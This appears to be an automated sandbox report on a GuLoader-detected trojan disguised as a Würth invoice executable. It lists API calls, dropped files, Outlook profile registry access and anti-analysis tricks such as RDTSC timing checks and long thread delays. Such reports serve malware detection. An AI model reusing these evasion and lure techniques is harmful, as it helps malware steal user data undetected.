Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69B350	4_2_3A69B350
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69C930	4_2_3A69C930
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A699730	4_2_3A699730
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A690508	4_2_3A690508
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69AD10	4_2_3A69AD10
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69DF10	4_2_3A69DF10
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69DBF0	4_2_3A69DBF0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69A9F0	4_2_3A69A9F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69F1D0	4_2_3A69F1D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6909D0	4_2_3A6909D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A698DD0	4_2_3A698DD0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69BFD0	4_2_3A69BFD0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A6909BF	4_2_3A6909BF
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69D5B0	4_2_3A69D5B0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69A3B0	4_2_3A69A3B0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69B990	4_2_3A69B990
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A698790	4_2_3A698790
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A69EB90	4_2_3A69EB90
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A811B50	4_2_3A811B50
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A813008	4_2_3A813008
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A8136F0	4_2_3A8136F0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A811470	4_2_3A811470
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A812920	4_2_3A812920
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A810D88	4_2_3A810D88
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A812238	4_2_3A812238
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A811B3F	4_2_3A811B3F
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A8136E1	4_2_3A8136E1
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A811460	4_2_3A811460
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A810A10	4_2_3A810A10
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A8108DE	4_2_3A8108DE
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A812911	4_2_3A812911
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A810960	4_2_3A810960
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A812FFA	4_2_3A812FFA
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A810D7A	4_2_3A810D7A
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A812229	4_2_3A812229
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A810007	4_2_3A810007
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A810040	4_2_3A810040
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A9038D0	4_2_3A9038D0
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A901A20	4_2_3A901A20
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A909130	4_2_3A909130
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A902638	4_2_3A902638

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Code function: String function: 00402BBF appears 51 times

Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3277055717.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs Wuerth_factura_4052073226..exe
Source: Wuerth_factura_4052073226..exe, 00000004.00000002.3296370437.0000000037207000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs Wuerth_factura_4052073226..exe

Source: Wuerth_factura_4052073226..exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/6@5/5

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 0_2_0040327D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_0040327D
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_004032B2 lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		4_2_004032B2

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Code function: 0_2_0040458C GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_0040458C

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Code function: 0_2_00402095 CoCreateInstance,

0_2_00402095

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

File created: C:\Users\user\Sympodia

Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Mutant created: NULL

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

File created: C:\Users\user\AppData\Local\Temp\nsp5FF1.tmp

Jump to behavior

Source: Wuerth_factura_4052073226..exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Wuerth_factura_4052073226..exe

ReversingLabs: Detection: 52%

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

File read: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process created: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process created: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe "C:\Users\user\Desktop\Wuerth_factura_4052073226..exe"	Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Section loaded: secur32.dll	Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Wuerth_factura_4052073226..exe

Static file information: File size 1085283 > 1048576

Source: Wuerth_factura_4052073226..exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000000.00000002.2534956936.0000000005BC2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3272331155.0000000002F22000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

Code function: 0_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

0_2_10001B18

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 0_2_10002DE0 push eax; ret	0_2_10002E0E
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D9C30 push esp; retf 0018h	4_2_000D9D55
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D48F8 push eax; ret	4_2_000D4912
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D4928 push eax; ret	4_2_000D4912
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D4928 push eax; ret	4_2_000D4922
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D4928 push eax; ret	4_2_000D4962
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D4968 push eax; ret	4_2_000D4972
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D4978 push eax; ret	4_2_000D4982
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D4988 push eax; ret	4_2_000D4992
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_000D4A2D push eax; ret	4_2_000D4962
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DB4FA3 push FFFFFFB6h; iretd	4_2_39DB4FA5
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_39DBC6A3 push 0000003Fh; iretd	4_2_39DBC6A5
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Code function: 4_2_3A9036B8 push es; retf	4_2_3A9036A7

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe

File created: C:\Users\user\AppData\Local\Temp\nsf6188.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	API/Special instruction interceptor: Address: 5E76E5E
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	API/Special instruction interceptor: Address: 31D6E5E

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	RDTSC instruction interceptor: First address: 5E3D66E second address: 5E3D66E instructions: 0x00000000 rdtsc 0x00000002 test bh, ah 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F13D4DAA198h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	RDTSC instruction interceptor: First address: 319D66E second address: 319D66E instructions: 0x00000000 rdtsc 0x00000002 test bh, ah 0x00000004 cmp ebx, ecx 0x00000006 jc 00007F13D522C168h 0x00000008 inc ebp 0x00000009 inc ebx 0x0000000a rdtsc

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Memory allocated: D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Memory allocated: 37400000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Memory allocated: 37310000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599436	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\Wuerth_factura_4052073226..exe	Thread delayed: delay time: 598343	Jump to behavior
